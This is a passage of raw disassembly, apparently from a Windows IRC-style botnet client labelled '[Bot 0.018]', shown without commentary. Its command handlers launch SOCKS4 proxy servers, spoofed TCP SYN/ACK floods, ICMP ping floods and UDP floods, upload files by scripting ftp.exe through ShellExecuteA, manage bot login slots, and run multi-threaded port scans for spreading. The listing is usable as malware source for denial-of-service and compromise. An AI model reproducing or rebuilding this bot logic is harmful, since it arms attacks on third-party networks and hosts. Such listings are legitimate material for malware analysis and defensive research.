		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_411120
		add	esp, 20h
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C16A:				; CODE XREF: sub_4078FA+E17j
					; sub_4078FA+E2Bj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40C189
		push	esi
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jz	short loc_40C189
		push	esi
		call	sub_412F42
		pop	ecx
		jmp	short loc_40C18E
; ---------------------------------------------------------------------------


loc_40C189:				; CODE XREF: sub_4078FA+4879j
					; sub_4078FA+4884j
		mov	eax, dword_42AE40


loc_40C18E:				; CODE XREF: sub_4078FA+488Dj
		mov	ebx, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_2FC], eax
		jz	short loc_40C1B5
		push	ebx


loc_40C1A2:				; CODE XREF: sub_4078FA+48CBj
		lea	eax, [ebp+var_30C]
		push	10h
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		jmp	short loc_40C1CE
; ---------------------------------------------------------------------------


loc_40C1B5:				; CODE XREF: sub_4078FA+48A5j
		cmp	[ebp+var_44B], 0
		jz	short loc_40C1C7
		lea	eax, [ebp+var_E0]
		push	eax
		jmp	short loc_40C1A2
; ---------------------------------------------------------------------------


loc_40C1C7:				; CODE XREF: sub_4078FA+48C2j
		and	[ebp+var_30C], 0


loc_40C1CE:				; CODE XREF: sub_4078FA+48B9j
		mov	eax, [ebp+var_4]
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_38C]
		push	80h
		push	eax
		mov	[ebp+var_390], esi
		call	sub_412E0D
		add	esp, 0Ch
		push	[ebp+var_2FC]
		push	esi
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_2E0]
		push	12h
		push	eax
		call	sub_410EEA
		add	esp, 1Ch
		mov	[ebp+var_2F8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_390]
		push	eax
		push	offset sub_40FB2A
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_2F8]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C282
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_40D19B
; ---------------------------------------------------------------------------


loc_40C27A:				; CODE XREF: sub_4078FA+498Ej
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40C282:				; CODE XREF: sub_4078FA+496Dj
		cmp	[ebp+var_2E8], edi
		jz	short loc_40C27A
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C28F:				; CODE XREF: sub_4078FA+DC7j
					; sub_4078FA+DDBj ...
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40C2B7
		mov	edi, eax
		push	4
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C2B7
		and	[ebp+var_3BC], eax
		jmp	short loc_40C2C1
; ---------------------------------------------------------------------------


loc_40C2B7:				; CODE XREF: sub_4078FA+49A3j
					; sub_4078FA+49B3j
		mov	[ebp+var_3BC], 1


loc_40C2C1:				; CODE XREF: sub_4078FA+49BBj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_440]
		push	80h
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_444], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3B8], eax
		mov	eax, [ebp+var_C]
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_3BC], esi
		mov	[ebp+var_3B4], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40C30A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40C30A:				; CODE XREF: sub_4078FA+4A09j
		push	eax
		push	offset aSecureSSystem_ ; "[SECURE]: %s system."
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	esi
		lea	eax, [ebp+var_2E0]
		push	1Ah
		push	eax
		call	sub_410EEA
		add	esp, 1Ch
		mov	[ebp+var_3C0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_444]
		push	eax
		push	offset sub_40F023
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_3C0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C390
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40C388:				; CODE XREF: sub_4078FA+4A9Cj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40C390:				; CODE XREF: sub_4078FA+4A6Cj
		cmp	[ebp+var_3B0], esi
		jz	short loc_40C388
		jmp	loc_40C4A1
; ---------------------------------------------------------------------------


loc_40C39D:				; CODE XREF: sub_4078FA+D9Fj
					; sub_4078FA+DB3j
		push	offset aBot0_018 ; "[Bot 0.018]"
		lea	eax, [ebp+var_2E0]
		push	offset aMainS	; "[MAIN]: %s"
		push	eax
		call	sub_412BB5


loc_40C3B3:				; CODE XREF: sub_4078FA+41ADj
		add	esp, 0Ch
		jmp	loc_40AEAA
; ---------------------------------------------------------------------------


loc_40C3BB:				; CODE XREF: sub_4078FA+D77j
					; sub_4078FA+D8Bj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40C413
		push	ebx
		call	sub_412F42
		test	eax, eax
		pop	ecx
		jl	short loc_40C40B
		cmp	eax, 2
		jge	short loc_40C40B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	byte ptr [esi],	0
		jz	short loc_40C403
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		and	byte ptr [esi],	0
		jmp	short loc_40C47E
; ---------------------------------------------------------------------------


loc_40C403:				; CODE XREF: sub_4078FA+4AEAj
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_40C46F
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_4078FA+4AD5j
					; sub_4078FA+4ADAj
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_40C46F
; ---------------------------------------------------------------------------


loc_40C413:				; CODE XREF: sub_4078FA+4ACAj
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_40C418:				; CODE XREF: sub_4078FA+4B5Bj
		mov	esi, [ebp+var_A4]
		mov	eax, edx


loc_40C420:				; CODE XREF: sub_4078FA+4B42j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40C442
		test	cl, cl
		jz	short loc_40C43E
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40C442
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40C420


loc_40C43E:				; CODE XREF: sub_4078FA+4B30j
		xor	eax, eax
		jmp	short loc_40C447
; ---------------------------------------------------------------------------


loc_40C442:				; CODE XREF: sub_4078FA+4B2Cj
					; sub_4078FA+4B3Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40C447:				; CODE XREF: sub_4078FA+4B46j
		test	eax, eax
		jz	short loc_40C459
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_40C418
		jmp	short loc_40C47E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_4078FA+4B4Fj
		mov	eax, [ebp+arg_18]
		shl	edi, 7
		and	byte ptr [edi+eax], 0
		lea	eax, [ebp+var_E0]
		push	eax
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."


loc_40C46F:				; CODE XREF: sub_4078FA+3780j
					; sub_4078FA+4B0Fj ...
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40C47E:				; CODE XREF: sub_4078FA+2B08j
					; sub_4078FA+2B2Cj ...
		cmp	[ebp+var_C], 0
		jnz	short loc_40C4A1
		push	0


loc_40C486:				; CODE XREF: sub_4078FA+4FD0j
					; sub_4078FA+5113j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40C499:				; CODE XREF: sub_4078FA+2611j
					; sub_4078FA+2733j ...
		call	sub_4045DD
		add	esp, 14h


loc_40C4A1:				; CODE XREF: sub_4078FA+11E6j
					; sub_4078FA+25FBj ...
		xor	esi, esi
		inc	esi
		jmp	loc_409018
; ---------------------------------------------------------------------------


loc_40C4A9:				; CODE XREF: sub_4078FA+D4Fj
					; sub_4078FA+D63j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_4263EC
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_408D7C
		call	sub_41105B


loc_40C4C6:				; CODE XREF: sub_4078FA+4497j
		push	0
		call	ds:dword_41F02C	; ExitProcess


loc_40C4CE:				; CODE XREF: sub_4078FA+156Aj
		push	8
		mov	edi, eax
		mov	esi, offset aHttpcon ; "httpcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C685
		push	5
		mov	edi, eax
		mov	esi, offset aHcon ; "hcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C685
		cmp	[ebp+ebx+var_90], edx
		jz	loc_407B7B
		mov	edi, eax
		push	7
		mov	esi, offset aUpload ; "upload"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40CFE2
		mov	edi, [ebp+ebx+var_90]
		push	4
		push	edi
		call	sub_40241F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40C546
		push	edi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40C532:				; CODE XREF: sub_4078FA+38A4j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	loc_40ABC7
; ---------------------------------------------------------------------------


loc_40C546:				; CODE XREF: sub_4078FA+4C30j
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		pop	ecx
		call	sub_412D71
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_412D71
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_412D71
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_15E8]
		push	edx
		push	eax
		lea	eax, [ebp+var_1344]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_1344]
		push	offset aAb	; "ab"
		push	eax
		call	sub_413393
		add	esp, 20h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_407B7B
		mov	esi, [ebp+ebx+var_A0]
		push	edi
		push	[ebp+var_14]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		push	esi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41414F
		push	[ebp+arg_0]
		call	sub_412F93
		lea	eax, [ebp+var_1344]
		push	eax
		lea	eax, [ebp+var_B70]
		push	offset aSS_3	; "-s:%s"
		push	eax
		call	sub_412BB5
		add	esp, 2Ch
		xor	eax, eax
		push	eax
		push	eax
		lea	ecx, [ebp+var_B70]
		push	ecx
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	eax
		call	dword_4335A8	; ShellExecuteA
		test	eax, eax
		push	esi
		push	edi
		jz	short loc_40C621
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40C626
; ---------------------------------------------------------------------------


loc_40C621:				; CODE XREF: sub_4078FA+4D1Ej
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40C626:				; CODE XREF: sub_4078FA+4D25j
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_C], 0
		jnz	short loc_40C651
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		add	esp, 14h


loc_40C651:				; CODE XREF: sub_4078FA+4D38j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_401C33
		jmp	short loc_40C66B
; ---------------------------------------------------------------------------


loc_40C65F:				; CODE XREF: sub_4078FA+4D84j
		lea	eax, [ebp+var_1344]
		push	eax
		call	sub_414125


loc_40C66B:				; CODE XREF: sub_4078FA+4D63j
		lea	eax, [ebp+var_1344]
		push	4
		push	eax
		call	sub_40241F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C65F
		jmp	loc_407B7B
; ---------------------------------------------------------------------------


loc_40C685:				; CODE XREF: sub_4078FA+4BE2j
					; sub_4078FA+4BF6j
		push	[ebp+ebx+var_90]
		push	[ebp+var_14]
		push	[ebp+ebx+var_98]
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		pop	ecx
		push	eax
		push	[ebp+ebx+var_A0]
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4038B7
		jmp	loc_40CFDF
; ---------------------------------------------------------------------------


loc_40C6C4:				; CODE XREF: sub_4078FA+1542j
					; sub_4078FA+1556j
		push	[ebp+ebx+var_A0]
		lea	eax, [ebp+var_998]
		push	80h
		push	eax
		call	sub_412E0D
		add	esp, 0Ch
		push	4
		lea	edi, [ebp+var_998]
		mov	esi, offset aSyn_0 ; "syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	4
		lea	edi, [ebp+var_998]
		mov	esi, offset aAck ; "ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	7
		lea	edi, [ebp+var_998]
		mov	esi, offset aRandom_0 ;	"random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40C725
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_40B61E
; ---------------------------------------------------------------------------


loc_40C725:				; CODE XREF: sub_4078FA+4DF7j
					; sub_4078FA+4E0Bj ...
		push	[ebp+var_14]
		call	sub_412F42
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_888], eax
		jle	loc_40C8AD
		mov	eax, [ebp+ebx+var_A0]
		push	eax
		mov	[ebp+var_8], eax
		mov	esi, 80h
		lea	eax, [ebp+var_998]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+ebx+var_9C]
		push	eax
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_A18]
		push	esi
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+ebx+var_98]
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_412F42
		mov	[ebp+var_894], eax
		mov	eax, [ebp+ebx+var_90]
		add	esp, 1Ch
		cmp	eax, edi
		jz	short loc_40C7A6
		push	eax
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_890], eax
		jmp	short loc_40C7AC
; ---------------------------------------------------------------------------


loc_40C7A6:				; CODE XREF: sub_4078FA+4E9Bj
		mov	[ebp+var_890], edi


loc_40C7AC:				; CODE XREF: sub_4078FA+4EAAj
		mov	ebx, [ebp+ebx+var_8C]
		cmp	ebx, edi
		jz	short loc_40C7C6
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_88C], eax
		jmp	short loc_40C7CC
; ---------------------------------------------------------------------------


loc_40C7C6:				; CODE XREF: sub_4078FA+4EBBj
		mov	[ebp+var_88C], edi


loc_40C7CC:				; CODE XREF: sub_4078FA+4ECAj
		push	[ebp+var_9C]
		xor	eax, eax
		cmp	[ebp+var_43A], al
		push	esi
		setnz	al
		mov	[ebp+var_884], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_A1C], eax
		lea	eax, [ebp+var_918]
		push	eax
		call	sub_412E0D
		mov	eax, [ebp+var_4]
		mov	[ebp+var_880], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		cmp	[ebp+var_884], edi
		mov	[ebp+var_87C], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40C820
		mov	eax, offset aNormal ; "Normal"


loc_40C820:				; CODE XREF: sub_4078FA+4F1Fj
		push	[ebp+var_14]
		push	[ebp+arg_0]
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp+var_2E0]
		push	200h
		push	eax
		call	sub_412E0D
		push	edi
		lea	eax, [ebp+var_2E0]
		push	0Dh
		push	eax
		call	sub_410EEA
		add	esp, 2Ch
		mov	[ebp+var_898], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_A1C]
		push	eax
		push	offset sub_41046C
		push	edi
		push	edi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_898]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C8A3
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40B73B
; ---------------------------------------------------------------------------


loc_40C89B:				; CODE XREF: sub_4078FA+4FAFj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40C8A3:				; CODE XREF: sub_4078FA+4F8Ej
		cmp	[ebp+var_878], edi
		jz	short loc_40C89B
		jmp	short loc_40C8C0
; ---------------------------------------------------------------------------


loc_40C8AD:				; CODE XREF: sub_4078FA+4E3Ej
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...


loc_40C8B2:				; CODE XREF: sub_4078FA+53D4j
					; sub_4078FA+5490j
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_412BB5


loc_40C8BE:				; CODE XREF: sub_4078FA+3D32j
		pop	ecx
		pop	ecx


loc_40C8C0:				; CODE XREF: sub_4078FA+3E50j
					; sub_4078FA+3E65j ...
		cmp	[ebp+var_C], edi
		jnz	loc_40C4A1
		push	edi
		jmp	loc_40C486
; ---------------------------------------------------------------------------


loc_40C8CF:				; CODE XREF: sub_4078FA+1506j
					; sub_4078FA+151Aj ...
		cmp	dword_433620, 0
		jnz	loc_40C9E8
		mov	eax, [ebp+var_C]
		mov	[ebp+var_758], eax
		mov	eax, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_75C], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		call	sub_412C40
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_770], eax
		call	sub_412F42
		push	[ebp+var_14]
		mov	[ebp+var_76C], eax
		call	sub_412F42
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_768], eax
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_412C40
		push	[ebp+var_768]
		mov	eax, [ebp+arg_4]
		push	[ebp+var_76C]
		mov	[ebp+var_874], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		push	[ebp+var_770]
		lea	eax, [ebp+var_2E0]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_412BB5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2E0]
		push	0Fh
		push	eax
		call	sub_410EEA
		add	esp, 48h
		mov	[ebp+var_760], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_874]
		push	eax
		push	offset sub_406CD9
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_760]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40C9DE
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_40CF6C
; ---------------------------------------------------------------------------


loc_40C9D6:				; CODE XREF: sub_4078FA+50EAj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40C9DE:				; CODE XREF: sub_4078FA+50C9j
		cmp	[ebp+var_754], esi
		jz	short loc_40C9D6
		jmp	short loc_40CA03
; ---------------------------------------------------------------------------


loc_40C9E8:				; CODE XREF: sub_4078FA+4FDCj
		push	1FFh
		lea	eax, [ebp+var_2E0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_412C40
		add	esp, 0Ch
		xor	esi, esi


loc_40CA03:				; CODE XREF: sub_4078FA+3D0Ej
					; sub_4078FA+50ECj ...
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		jmp	loc_40C486
; ---------------------------------------------------------------------------


loc_40CA12:				; CODE XREF: sub_4078FA+14CAj
					; sub_4078FA+14DEj ...
		mov	eax, [ebp+var_C]
		mov	edi, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A0]
		mov	[ebp+var_758], eax
		lea	eax, [ebp+var_7F0]
		push	eax
		mov	[ebp+var_75C], edi
		call	sub_412C40
		push	[ebp+ebx+var_9C]
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_770], eax
		call	sub_412F42
		push	[ebp+var_14]
		mov	[ebp+var_76C], eax
		call	sub_412F42
		mov	ebx, [ebp+ebx+var_90]
		xor	esi, esi
		add	esp, 18h
		cmp	ebx, esi
		mov	[ebp+var_768], eax
		jz	short loc_40CA8A
		push	ebx
		call	sub_412F42
		pop	ecx
		mov	[ebp+var_764], eax
		jmp	short loc_40CA90
; ---------------------------------------------------------------------------


loc_40CA8A:				; CODE XREF: sub_4078FA+517Fj
		mov	[ebp+var_764], esi


loc_40CA90:				; CODE XREF: sub_4078FA+518Ej
		push	7Fh
		push	[ebp+var_9C]
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_412C40
		push	[ebp+var_768]
		mov	ebx, [ebp+arg_4]
		push	[ebp+var_76C]
		lea	eax, [ebp+var_7F0]
		push	eax
		push	[ebp+var_770]
		lea	eax, [ebp+var_2E0]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax
		mov	[ebp+var_874], ebx
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_2E0]
		push	10h
		push	eax
		call	sub_410EEA
		add	esp, 30h
		mov	[ebp+var_760], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_874]
		push	eax
		push	offset sub_406E62
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_760]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43434C[ecx], eax
		jnz	short loc_40CB5F
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2E0]
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40CB39:				; CODE XREF: sub_4078FA+526Dj
		cmp	[ebp+var_C], esi
		jnz	loc_40C4A1
		push	esi
		push	edi


loc_40CB44:				; CODE XREF: sub_4078FA+2AD4j
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	ebx
		jmp	loc_40C499
; ---------------------------------------------------------------------------


loc_40CB57:				; CODE XREF: sub_4078FA+526Bj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40CB5F:				; CODE XREF: sub_4078FA+5222j
		cmp	[ebp+var_754], esi
		jz	short loc_40CB57
		jmp	short loc_40CB39
; ---------------------------------------------------------------------------


loc_40CB69:				; CODE XREF: sub_4078FA+14A2j
					; sub_4078FA+14B6j
		push	9
		call	sub_4110DA
		mov	esi, [ebp+ebx+var_9C]
		push	esi
		mov	edi, eax
		call	sub_412F42
		add	eax, edi
		cmp	eax, 258h
		pop	ecx
		pop	ecx
		jle	short loc_40CBBB
		push	edi
		lea	eax, [ebp+var_2E0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_412BB5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4045DD
		jmp	loc_40AB80
; ---------------------------------------------------------------------------


loc_40CBBB:				; CODE XREF: sub_4078FA+528Ej
		push	[ebp+ebx+var_A0]
		call	sub_412F42
		push	esi
		mov	[ebp+var_4E4], eax
		call	sub_412F42
		push	[ebp+ebx+var_98]
		mov	[ebp+var_4CC], eax
		call	sub_412F42
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_4E0], eax
		jnb	short loc_40CBFC
		push	5
		pop	eax
		mov	[ebp+var_4E0], eax


loc_40CBFC:				; CODE XREF: sub_4078FA+52F7j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40CC09
		mov	[ebp+var_4E0], ecx


loc_40CC09:				; CODE XREF: sub_4078FA+5307j
		push	[ebp+var_14]
		call	sub_412F42
		mov	[ebp+var_4DC], eax
		mov	eax, 320h
		cmp	[ebp+var_4DC], eax
		pop	ecx
		jbe	short loc_40CC2B
		mov	[ebp+var_4DC], eax


loc_40CC2B:				; CODE XREF: sub_4078FA+5329j
		push	[ebp+arg_4]
		or	[ebp+var_4C8], 0FFFFFFFFh
		call	sub_406C33
		pop	ecx
		lea	edx, [ebp+var_66C]


loc_40CC41:				; CODE XREF: sub_4078FA+534Fj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40CC41
		xor	edi, edi
		cmp	dword_42A068, edi
		mov	[ebp+var_5EC], edi
		mov	[ebp+var_10], edi
		jz	short loc_40CCC1
		mov	ecx, offset dword_42A068


loc_40CC63:				; CODE XREF: sub_4078FA+53A7j
		mov	edi, [ebp+ebx+var_A0]
		lea	esi, [ecx-28h]


loc_40CC6D:				; CODE XREF: sub_4078FA+538Fj
		mov	dl, [esi]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_40CC8F
		test	al, al
		jz	short loc_40CC8B
		mov	dl, [esi+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_40CC8F
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40CC6D


loc_40CC8B:				; CODE XREF: sub_4078FA+537Dj
		xor	eax, eax
		jmp	short loc_40CC94
; ---------------------------------------------------------------------------


loc_40CC8F:				; CODE XREF: sub_4078FA+5379j
					; sub_4078FA+5387j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40CC94:				; CODE XREF: sub_4078FA+5393j
		test	eax, eax
		jz	short loc_40CCA5
		inc	[ebp+var_10]
		add	ecx, 3Ch
		cmp	dword ptr [ecx], 0
		jnz	short loc_40CC63
		jmp	short loc_40CCBF
; ---------------------------------------------------------------------------


loc_40CCA5:				; CODE XREF: sub_4078FA+539Cj
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42A068[ecx]
		mov	[ebp+var_4E4], ecx
		mov	[ebp+var_4C8], eax


loc_40CCBF:				; CODE XREF: sub_4078FA+53A9j
		xor	edi, edi


loc_40CCC1:				; CODE XREF: sub_4078FA+5362j
		cmp	[ebp+var_4E4], edi
		jnz	short loc_40CCD3
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_40C8B2
; ---------------------------------------------------------------------------


loc_40CCD3:				; CODE XREF: sub_4078FA+53CDj
		mov	esi, [ebp+ebx+var_90]
		cmp	esi, edi
		mov	[ebp+var_AC], esi
		jz	short loc_40CD14
		cmp	byte ptr [esi],	23h
		jz	short loc_40CD14
		push	esi
		lea	eax, [ebp+var_67C]
		push	10h
		push	eax
		call	sub_412E0D
		push	78h
		push	esi
		call	sub_413F30
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4B8], eax
		jmp	loc_40CE4A
; ---------------------------------------------------------------------------


loc_40CD14:				; CODE XREF: sub_4078FA+53E8j
					; sub_4078FA+53EDj
		cmp	[ebp+var_432], 0
		jz	short loc_40CD3E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	offset dword_42AF44
		push	eax
		call	sub_412C40
		mov	eax, dword_42AF54
		add	esp, 0Ch
		mov	[ebp+var_5EC], eax


loc_40CD3E:				; CODE XREF: sub_4078FA+5421j
		cmp	[ebp+var_43B], 0
		jz	short loc_40CD6A
		push	edi
		push	9
		push	offset aStoppingPrevio ; "Stopping previous scans"
		push	offset aScan_0	; "[SCAN]"
		push	1
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
